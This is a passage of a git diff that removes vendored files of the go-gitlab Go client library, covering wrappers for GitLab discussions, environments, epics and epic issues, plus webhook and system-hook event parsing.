options) - if err != nil { - return nil, nil, err - } - - n := new(Note) - resp, err := s.client.Do(req, n) - if err != nil { - return nil, resp, err - } - - return n, resp, err -} - -// DeleteMergeRequestDiscussionNote deletes an existing discussion of a merge -// request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#delete-a-merge-request-discussion-note -func (s *DiscussionsService) DeleteMergeRequestDiscussionNote(pid interface{}, mergeRequest int, discussion string, note int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/discussions/%s/notes/%d", - pathEscape(project), - mergeRequest, - discussion, - note, - ) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// ListCommitDiscussionsOptions represents the available -// ListCommitDiscussions() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#list-project-commit-discussion-items -type ListCommitDiscussionsOptions ListOptions - -// ListCommitDiscussions gets a list of all discussions for a single -// commit. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#list-project-commit-discussion-items -func (s *DiscussionsService) ListCommitDiscussions(pid interface{}, commit string, opt *ListCommitDiscussionsOptions, options ...RequestOptionFunc) ([]*Discussion, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/commits/%s/discussions", - pathEscape(project), - commit, - ) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var ds []*Discussion - resp, err := s.client.Do(req, &ds) - if err != nil { - return nil, resp, err - } - - return ds, resp, err -} - -// GetCommitDiscussion returns a single discussion for a specific project -// commit. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#get-single-commit-discussion-item -func (s *DiscussionsService) GetCommitDiscussion(pid interface{}, commit string, discussion string, options ...RequestOptionFunc) (*Discussion, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/commits/%s/discussions/%s", - pathEscape(project), - commit, - discussion, - ) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - d := new(Discussion) - resp, err := s.client.Do(req, d) - if err != nil { - return nil, resp, err - } - - return d, resp, err -} - -// CreateCommitDiscussionOptions represents the available -// CreateCommitDiscussion() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#create-new-commit-thread -type CreateCommitDiscussionOptions struct { - Body *string `url:"body,omitempty" json:"body,omitempty"` - CreatedAt *time.Time `url:"created_at,omitempty" json:"created_at,omitempty"` - Position *NotePosition `url:"position,omitempty" json:"position,omitempty"` -} - -// CreateCommitDiscussion creates a new discussion to a single project commit. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#create-new-commit-thread -func (s *DiscussionsService) CreateCommitDiscussion(pid interface{}, commit string, opt *CreateCommitDiscussionOptions, options ...RequestOptionFunc) (*Discussion, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/commits/%s/discussions", - pathEscape(project), - commit, - ) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - d := new(Discussion) - resp, err := s.client.Do(req, d) - if err != nil { - return nil, resp, err - } - - return d, resp, err -} - -// AddCommitDiscussionNoteOptions represents the available -// AddCommitDiscussionNote() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#add-note-to-existing-commit-thread -type AddCommitDiscussionNoteOptions struct { - Body *string `url:"body,omitempty" json:"body,omitempty"` - CreatedAt *time.Time `url:"created_at,omitempty" json:"created_at,omitempty"` -} - -// AddCommitDiscussionNote creates a new discussion to a single project commit. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#add-note-to-existing-commit-thread -func (s *DiscussionsService) AddCommitDiscussionNote(pid interface{}, commit string, discussion string, opt *AddCommitDiscussionNoteOptions, options ...RequestOptionFunc) (*Note, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/commits/%s/discussions/%s/notes", - pathEscape(project), - commit, - discussion, - ) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - n := new(Note) - resp, err := s.client.Do(req, n) - if err != nil { - return nil, resp, err - } - - return n, resp, err -} - -// UpdateCommitDiscussionNoteOptions represents the available -// UpdateCommitDiscussion() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#modify-an-existing-commit-thread-note -type UpdateCommitDiscussionNoteOptions struct { - Body *string `url:"body,omitempty" json:"body,omitempty"` - CreatedAt *time.Time `url:"created_at,omitempty" json:"created_at,omitempty"` -} - -// UpdateCommitDiscussionNote modifies existing discussion of an commit. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#modify-an-existing-commit-thread-note -func (s *DiscussionsService) UpdateCommitDiscussionNote(pid interface{}, commit string, discussion string, note int, opt *UpdateCommitDiscussionNoteOptions, options ...RequestOptionFunc) (*Note, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/commits/%s/discussions/%s/notes/%d", - pathEscape(project), - commit, - discussion, - note, - ) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - n := new(Note) - resp, err := s.client.Do(req, n) - if err != nil { - return nil, resp, err - } - - return n, resp, err -} - -// DeleteCommitDiscussionNote deletes an existing discussion of an commit. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/discussions.html#delete-a-commit-thread-note -func (s *DiscussionsService) DeleteCommitDiscussionNote(pid interface{}, commit string, discussion string, note int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/repository/commits/%s/discussions/%s/notes/%d", - pathEscape(project), - commit, - discussion, - note, - ) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/environments.go b/vendor/github.com/xanzy/go-gitlab/environments.go deleted file mode 100644 index f666cde899..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/environments.go +++ /dev/null @@ -1,212 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" -) - -// EnvironmentsService handles communication with the environment related methods -// of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/environments.html -type EnvironmentsService struct { - client *Client -} - -// Environment represents a GitLab environment. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/environments.html -type Environment struct { - ID int `json:"id"` - Name string `json:"name"` - Slug string `json:"slug"` - State string `json:"state"` - ExternalURL string `json:"external_url"` - Project *Project `json:"project"` - LastDeployment *Deployment `json:"last_deployment"` -} - -func (env Environment) String() string { - return Stringify(env) -} - -// ListEnvironmentsOptions represents the available ListEnvironments() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/environments.html#list-environments -type ListEnvironmentsOptions ListOptions - -// ListEnvironments gets a list of environments from a project, sorted by name -// alphabetically. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/environments.html#list-environments -func (s *EnvironmentsService) ListEnvironments(pid interface{}, opts *ListEnvironmentsOptions, options ...RequestOptionFunc) ([]*Environment, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/environments", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opts, options) - if err != nil { - return nil, nil, err - } - - var envs []*Environment - resp, err := s.client.Do(req, &envs) - if err != nil { - return nil, resp, err - } - - return envs, resp, err -} - -// GetEnvironment gets a specific environment from a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/environments.html#get-a-specific-environment -func (s *EnvironmentsService) GetEnvironment(pid interface{}, environment int, options ...RequestOptionFunc) (*Environment, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/environments/%d", pathEscape(project), environment) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - env := new(Environment) - resp, err := s.client.Do(req, env) - if err != nil { - return nil, resp, err - } - - return env, resp, err -} - -// CreateEnvironmentOptions represents the available CreateEnvironment() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/environments.html#create-a-new-environment -type CreateEnvironmentOptions struct { - Name *string `url:"name,omitempty" json:"name,omitempty"` - ExternalURL *string `url:"external_url,omitempty" json:"external_url,omitempty"` -} - -// CreateEnvironment adds an environment to a project. This is an idempotent -// method and can be called multiple times with the same parameters. Createing -// an environment that is already a environment does not affect the -// existing environmentship. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/environments.html#create-a-new-environment -func (s *EnvironmentsService) CreateEnvironment(pid interface{}, opt *CreateEnvironmentOptions, options ...RequestOptionFunc) (*Environment, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/environments", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - env := new(Environment) - resp, err := s.client.Do(req, env) - if err != nil { - return nil, resp, err - } - - return env, resp, err -} - -// EditEnvironmentOptions represents the available EditEnvironment() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/environments.html#edit-an-existing-environment -type EditEnvironmentOptions struct { - Name *string `url:"name,omitempty" json:"name,omitempty"` - ExternalURL *string `url:"external_url,omitempty" json:"external_url,omitempty"` -} - -// EditEnvironment updates a project team environment to a specified access level.. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/environments.html#edit-an-existing-environment -func (s *EnvironmentsService) EditEnvironment(pid interface{}, environment int, opt *EditEnvironmentOptions, options ...RequestOptionFunc) (*Environment, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/environments/%d", pathEscape(project), environment) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - env := new(Environment) - resp, err := s.client.Do(req, env) - if err != nil { - return nil, resp, err - } - - return env, resp, err -} - -// DeleteEnvironment removes an environment from a project team. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/environments.html#remove-a-environment-from-a-group-or-project -func (s *EnvironmentsService) DeleteEnvironment(pid interface{}, environment int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/environments/%d", pathEscape(project), environment) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// StopEnvironment stop an environment from a project team. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/environments.html#stop-an-environment -func (s *EnvironmentsService) StopEnvironment(pid interface{}, environmentID int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/environments/%d/stop", pathEscape(project), environmentID) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/epic_issues.go b/vendor/github.com/xanzy/go-gitlab/epic_issues.go deleted file mode 100644 index 3286b84dc8..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/epic_issues.go +++ /dev/null @@ -1,133 +0,0 @@ -package gitlab - -import "fmt" - -// EpicIssuesService handles communication with the epic issue related methods -// of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/epic_issues.html -type EpicIssuesService struct { - client *Client -} - -// EpicIssueAssignment contains both the epic and issue objects returned from -// Gitlab with the assignment ID. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/epic_issues.html -type EpicIssueAssignment struct { - ID int `json:"id"` - Epic *Epic `json:"epic"` - Issue *Issue `json:"issue"` -} - -// ListEpicIssues get a list of epic issues. -// -// Gitlab API docs: -// https://docs.gitlab.com/ee/api/epic_issues.html#list-issues-for-an-epic -func (s *EpicIssuesService) ListEpicIssues(gid interface{}, epic int, opt *ListOptions, options ...RequestOptionFunc) ([]*Issue, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/epics/%d/issues", pathEscape(group), epic) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var is []*Issue - resp, err := s.client.Do(req, &is) - if err != nil { - return nil, resp, err - } - - return is, resp, err -} - -// AssignEpicIssue assigns an existing issue to an epic. -// -// Gitlab API Docs: -// https://docs.gitlab.com/ee/api/epic_issues.html#assign-an-issue-to-the-epic -func (s *EpicIssuesService) AssignEpicIssue(gid interface{}, epic, issue int, options ...RequestOptionFunc) (*EpicIssueAssignment, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/epics/%d/issues/%d", pathEscape(group), epic, issue) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, nil, err - } - - a := new(EpicIssueAssignment) - resp, err := s.client.Do(req, a) - if err != nil { - return nil, resp, err - } - - return a, resp, err -} - -// RemoveEpicIssue removes an issue from an epic. -// -// Gitlab API Docs: -// https://docs.gitlab.com/ee/api/epic_issues.html#remove-an-issue-from-the-epic -func (s *EpicIssuesService) RemoveEpicIssue(gid interface{}, epic, epicIssue int, options ...RequestOptionFunc) (*EpicIssueAssignment, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/epics/%d/issues/%d", pathEscape(group), epic, epicIssue) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, nil, err - } - - a := new(EpicIssueAssignment) - resp, err := s.client.Do(req, a) - if err != nil { - return nil, resp, err - } - - return a, resp, err -} - -// UpdateEpicIsssueAssignmentOptions describes the UpdateEpicIssueAssignment() -// options. -// -// Gitlab API Docs: -// https://docs.gitlab.com/ee/api/epic_issues.html#update-epic---issue-association -type UpdateEpicIsssueAssignmentOptions struct { - *ListOptions - MoveBeforeID *int `url:"move_before_id,omitempty" json:"move_before_id,omitempty"` - MoveAfterID *int `url:"move_after_id,omitempty" json:"move_after_id,omitempty"` -} - -// UpdateEpicIssueAssignment moves an issue before or after another issue in an -// epic issue list. -// -// Gitlab API Docs: -// https://docs.gitlab.com/ee/api/epic_issues.html#update-epic---issue-association -func (s *EpicIssuesService) UpdateEpicIssueAssignment(gid interface{}, epic, epicIssue int, opt *UpdateEpicIsssueAssignmentOptions, options ...RequestOptionFunc) ([]*Issue, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/epics/%d/issues/%d", pathEscape(group), epic, epicIssue) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - var is []*Issue - resp, err := s.client.Do(req, &is) - if err != nil { - return nil, resp, err - } - - return is, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/epics.go b/vendor/github.com/xanzy/go-gitlab/epics.go deleted file mode 100644 index 87dbe200cd..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/epics.go +++ /dev/null @@ -1,211 +0,0 @@ -package gitlab - -import ( - "fmt" - "time" -) - -// EpicsService handles communication with the epic related methods -// of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/epics.html -type EpicsService struct { - client *Client -} - -// EpicAuthor represents a author of the epic. -type EpicAuthor struct { - ID int `json:"id"` - State string `json:"state"` - WebURL string `json:"web_url"` - Name string `json:"name"` - AvatarURL string `json:"avatar_url"` - Username string `json:"username"` -} - -// Epic represents a GitLab epic. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/epics.html -type Epic struct { - ID int `json:"id"` - IID int `json:"iid"` - GroupID int `json:"group_id"` - Author *EpicAuthor `json:"author"` - Description string `json:"description"` - State string `json:"state"` - Upvotes int `json:"upvotes"` - Downvotes int `json:"downvotes"` - Labels []string `json:"labels"` - Title string `json:"title"` - UpdatedAt *time.Time `json:"updated_at"` - CreatedAt *time.Time `json:"created_at"` - UserNotesCount int `json:"user_notes_count"` - StartDate *ISOTime `json:"start_date"` - StartDateIsFixed bool `json:"start_date_is_fixed"` - StartDateFixed *ISOTime `json:"start_date_fixed"` - StartDateFromMilestones *ISOTime `json:"start_date_from_milestones"` - DueDate *ISOTime `json:"due_date"` - DueDateIsFixed bool `json:"due_date_is_fixed"` - DueDateFixed *ISOTime `json:"due_date_fixed"` - DueDateFromMilestones *ISOTime `json:"due_date_from_milestones"` -} - -func (e Epic) String() string { - return Stringify(e) -} - -// ListGroupEpicsOptions represents the available ListGroupEpics() options. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/epics.html#list-epics-for-a-group -type ListGroupEpicsOptions struct { - ListOptions - State *string `url:"state,omitempty" json:"state,omitempty"` - Labels Labels `url:"labels,comma,omitempty" json:"labels,omitempty"` - AuthorID *int `url:"author_id,omitempty" json:"author_id,omitempty"` - OrderBy *string `url:"order_by,omitempty" json:"order_by,omitempty"` - Sort *string `url:"sort,omitempty" json:"sort,omitempty"` - Search *string `url:"search,omitempty" json:"search,omitempty"` -} - -// ListGroupEpics gets a list of group epics. This function accepts pagination -// parameters page and per_page to return the list of group epics. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/epics.html#list-epics-for-a-group -func (s *EpicsService) ListGroupEpics(gid interface{}, opt *ListGroupEpicsOptions, options ...RequestOptionFunc) ([]*Epic, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/epics", pathEscape(group)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var es []*Epic - resp, err := s.client.Do(req, &es) - if err != nil { - return nil, resp, err - } - - return es, resp, err -} - -// GetEpic gets a single group epic. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/epics.html#single-epic -func (s *EpicsService) GetEpic(gid interface{}, epic int, options ...RequestOptionFunc) (*Epic, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/epics/%d", pathEscape(group), epic) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - e := new(Epic) - resp, err := s.client.Do(req, e) - if err != nil { - return nil, resp, err - } - - return e, resp, err -} - -// CreateEpicOptions represents the available CreateEpic() options. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/epics.html#new-epic -type CreateEpicOptions struct { - Title *string `url:"title,omitempty" json:"title,omitempty"` - Description *string `url:"description,omitempty" json:"description,omitempty"` - Labels Labels `url:"labels,comma,omitempty" json:"labels,omitempty"` - StartDateIsFixed *bool `url:"start_date_is_fixed,omitempty" json:"start_date_is_fixed,omitempty"` - StartDateFixed *ISOTime `url:"start_date_fixed,omitempty" json:"start_date_fixed,omitempty"` - DueDateIsFixed *bool `url:"due_date_is_fixed,omitempty" json:"due_date_is_fixed,omitempty"` - DueDateFixed *ISOTime `url:"due_date_fixed,omitempty" json:"due_date_fixed,omitempty"` -} - -// CreateEpic creates a new group epic. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/epics.html#new-epic -func (s *EpicsService) CreateEpic(gid interface{}, opt *CreateEpicOptions, options ...RequestOptionFunc) (*Epic, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/epics", pathEscape(group)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - e := new(Epic) - resp, err := s.client.Do(req, e) - if err != nil { - return nil, resp, err - } - - return e, resp, err -} - -// UpdateEpicOptions represents the available UpdateEpic() options. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/epics.html#update-epic -type UpdateEpicOptions struct { - Title *string `url:"title,omitempty" json:"title,omitempty"` - Description *string `url:"description,omitempty" json:"description,omitempty"` - Labels Labels `url:"labels,comma,omitempty" json:"labels,omitempty"` - StartDateIsFixed *bool `url:"start_date_is_fixed,omitempty" json:"start_date_is_fixed,omitempty"` - StartDateFixed *ISOTime `url:"start_date_fixed,omitempty" json:"start_date_fixed,omitempty"` - DueDateIsFixed *bool `url:"due_date_is_fixed,omitempty" json:"due_date_is_fixed,omitempty"` - DueDateFixed *ISOTime `url:"due_date_fixed,omitempty" json:"due_date_fixed,omitempty"` - StateEvent *string `url:"state_event,omitempty" json:"state_event,omitempty"` -} - -// UpdateEpic updates an existing group epic. This function is also used -// to mark an epic as closed. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/epics.html#update-epic -func (s *EpicsService) UpdateEpic(gid interface{}, epic int, opt *UpdateEpicOptions, options ...RequestOptionFunc) (*Epic, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/epics/%d", pathEscape(group), epic) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - e := new(Epic) - resp, err := s.client.Do(req, e) - if err != nil { - return nil, resp, err - } - - return e, resp, err -} - -// DeleteEpic deletes a single group epic. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/epics.html#delete-epic -func (s *EpicsService) DeleteEpic(gid interface{}, epic int, options ...RequestOptionFunc) (*Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("groups/%s/epics/%d", pathEscape(group), epic) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/event_parsing.go b/vendor/github.com/xanzy/go-gitlab/event_parsing.go deleted file mode 100644 index a09b356c11..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/event_parsing.go +++ /dev/null @@ -1,233 +0,0 @@ -package gitlab - -import ( - "encoding/json" - "fmt" - "net/http" -) - -// EventType represents a Gitlab event type. -type EventType string - -// List of available event types. -const ( - EventTypeBuild EventType = "Build Hook" - EventTypeIssue EventType = "Issue Hook" - EventConfidentialIssue EventType = "Confidential Issue Hook" - EventTypeJob EventType = "Job Hook" - EventTypeMergeRequest EventType = "Merge Request Hook" - EventTypeNote EventType = "Note Hook" - EventConfidentialNote EventType = "Confidential Note Hook" - EventTypePipeline EventType = "Pipeline Hook" - EventTypePush EventType = "Push Hook" - EventTypeSystemHook EventType = "System Hook" - EventTypeTagPush EventType = "Tag Push Hook" - EventTypeWikiPage EventType = "Wiki Page Hook" -) - -const ( - noteableTypeCommit = "Commit" - noteableTypeMergeRequest = "MergeRequest" - noteableTypeIssue = "Issue" - noteableTypeSnippet = "Snippet" -) - -type noteEvent struct { - ObjectKind string `json:"object_kind"` - ObjectAttributes struct { - NoteableType string `json:"noteable_type"` - } `json:"object_attributes"` -} - -const eventTypeHeader = "X-Gitlab-Event" - -// HookEventType returns the event type for the given request. -func HookEventType(r *http.Request) EventType { - return EventType(r.Header.Get(eventTypeHeader)) -} - -// ParseHook tries to parse both web- and system hooks. -// -// Example usage: -// -// func (s *Server) ServeHTTP(w http.ResponseWriter, r *http.Request) { -// payload, err := ioutil.ReadAll(r.Body) -// if err != nil { ... } -// event, err := gitlab.ParseHook(gitlab.HookEventType(r), payload) -// if err != nil { ... } -// switch event := event.(type) { -// case *gitlab.PushEvent: -// processPushEvent(event) -// case *gitlab.MergeEvent: -// processMergeEvent(event) -// ... -// } -// } -// -func ParseHook(eventType EventType, payload []byte) (event interface{}, err error) { - switch eventType { - case EventTypeSystemHook: - return ParseSystemhook(payload) - default: - return ParseWebhook(eventType, payload) - } -} - -// ParseSystemhook parses the event payload. For recognized event types, a -// value of the corresponding struct type will be returned. An error will be -// returned for unrecognized event types. -// -// Example usage: -// -// func (s *Server) ServeHTTP(w http.ResponseWriter, r *http.Request) { -// payload, err := ioutil.ReadAll(r.Body) -// if err != nil { ... } -// event, err := gitlab.ParseSystemhook(payload) -// if err != nil { ... } -// switch event := event.(type) { -// case *gitlab.PushSystemEvent: -// processPushSystemEvent(event) -// case *gitlab.MergeSystemEvent: -// processMergeSystemEvent(event) -// ... -// } -// } -// -func ParseSystemhook(payload []byte) (event interface{}, err error) { - e := &systemHookEvent{} - err = json.Unmarshal(payload, e) - if err != nil { - return nil, err - } - - switch e.EventName { - case "push": - event = &PushSystemEvent{} - case "tag_push": - event = &TagPushSystemEvent{} - case "repository_update": - event = &RepositoryUpdateSystemEvent{} - case - "project_create", - "project_update", - "project_destroy", - "project_transfer", - "project_rename": - event = &ProjectSystemEvent{} - case - "group_create", - "group_destroy", - "group_rename": - event = &GroupSystemEvent{} - case - "key_create", - "key_destroy": - event = &KeySystemEvent{} - case - "user_create", - "user_destroy", - "user_rename": - event = &UserSystemEvent{} - case - "user_add_to_group", - "user_remove_from_group", - "user_update_for_group": - event = &UserGroupSystemEvent{} - case - "user_add_to_team", - "user_remove_from_team", - "user_update_for_team": - event = &UserTeamSystemEvent{} - default: - switch e.ObjectKind { - case "merge_request": - event = &MergeEvent{} - default: - return nil, fmt.Errorf("unexpected system hook type %s", e.EventName) - } - } - - if err := json.Unmarshal(payload, event); err != nil { - return nil, err - } - - return event, nil -} - -// WebhookEventType returns the event type for the given request. -func WebhookEventType(r *http.Request) EventType { - return EventType(r.Header.Get(eventTypeHeader)) -} - -// ParseWebhook parses the event payload. For recognized event types, a -// value of the corresponding struct type will be returned. An error will -// be returned for unrecognized event types. -// -// Example usage: -// -// func (s *Server) ServeHTTP(w http.ResponseWriter, r *http.Request) { -// payload, err := ioutil.ReadAll(r.Body) -// if err != nil { ... } -// event, err := gitlab.ParseWebhook(gitlab.HookEventType(r), payload) -// if err != nil { ... } -// switch event := event.(type) { -// case *gitlab.PushEvent: -// processPushEvent(event) -// case *gitlab.MergeEvent: -// processMergeEvent(event) -// ... -// } -// } -// -func ParseWebhook(eventType EventType, payload []byte) (event interface{}, err error) { - switch eventType { - case EventTypeBuild: - event = &BuildEvent{} - case EventTypeIssue, EventConfidentialIssue: - event = &IssueEvent{} - case EventTypeJob: - event = &JobEvent{} - case EventTypeMergeRequest: - event = &MergeEvent{} - case EventTypePipeline: - event = &PipelineEvent{} - case EventTypePush: - event = &PushEvent{} - case EventTypeTagPush: - event = &TagEvent{} - case EventTypeWikiPage: - event = &WikiPageEvent{} - case EventTypeNote, EventConfidentialNote: - note := ¬eEvent{} - err := json.Unmarshal(payload, note) - if err != nil { - return nil, err - } - - if note.ObjectKind != "note" { - return nil, fmt.Errorf("unexpected object kind %s", note.ObjectKind) - } - - switch note.ObjectAttributes.NoteableType { - case noteableTypeCommit: - event = &CommitCommentEvent{} - case noteableTypeMergeRequest: - event = &MergeCommentEvent{} - case noteableTypeIssue: - event = &IssueCommentEvent{} - case noteableTypeSnippet: - event = &SnippetCommentEvent{} - default: - return nil, fmt.Errorf("unexpected noteable type %s", note.ObjectAttributes.NoteableType) - } - - default: - return nil, fmt.Errorf("unexpected event type: %s", eventType) - } - - if err := json.Unmarshal(payload, event); err != nil { - return nil, err - } - - return event, nil -} diff --git a/vendor/github.com/xanzy/go-gitlab/event_systemhook_types.go b/vendor/github.com/xanzy/go-gitlab/event_systemhook_types.go deleted file mode 100644 index 4f3d527b52..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/event_systemhook_types.go +++ /dev/null @@ -1,133 +0,0 @@ -package gitlab - -// systemHookEvent is used to pre-process events to determine the -// system hook event type. -type systemHookEvent struct { - BaseSystemEvent - ObjectKind string `json:"object_kind"` -} - -// BaseSystemEvent contains system hook's common properties. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/system_hooks/system_hooks.html -type BaseSystemEvent struct { - EventName string `json:"event_name"` - CreatedAt string `json:"created_at"` - UpdatedAt string `json:"updated_at"` -} - -// ProjectSystemEvent represents a project system event. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/system_hooks/system_hooks.html -type ProjectSystemEvent struct { - BaseSystemEvent - Name string `json:"name"` - Path string `json:"path"` - PathWithNamespace string `json:"path_with_namespace"` - ProjectID int `json:"project_id"` - OwnerName string `json:"owner_name"` - OwnerEmail string `json:"owner_email"` - ProjectVisibility string `json:"project_visibility"` - OldPathWithNamespace string `json:"old_path_with_namespace,omitempty"` -} - -// GroupSystemEvent represents a group system event. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/system_hooks/system_hooks.html -type GroupSystemEvent struct { - BaseSystemEvent - Name string `json:"name"` - Path string `json:"path"` - PathWithNamespace string `json:"full_path"` - GroupID int `json:"group_id"` - OwnerName string `json:"owner_name"` - OwnerEmail string `json:"owner_email"` - ProjectVisibility string `json:"project_visibility"` - OldPath string `json:"old_path,omitempty"` - OldPathWithNamespace string `json:"old_full_path,omitempty"` -} - -// KeySystemEvent represents a key system event. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/system_hooks/system_hooks.html -type KeySystemEvent struct { - BaseSystemEvent - ID int `json:"id"` - Username string `json:"username"` - Key string `json:"key"` -} - -// UserSystemEvent represents a user system event. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/system_hooks/system_hooks.html -type UserSystemEvent struct { - BaseSystemEvent - ID int `json:"user_id"` - Name string `json:"name"` - Username string `json:"username"` 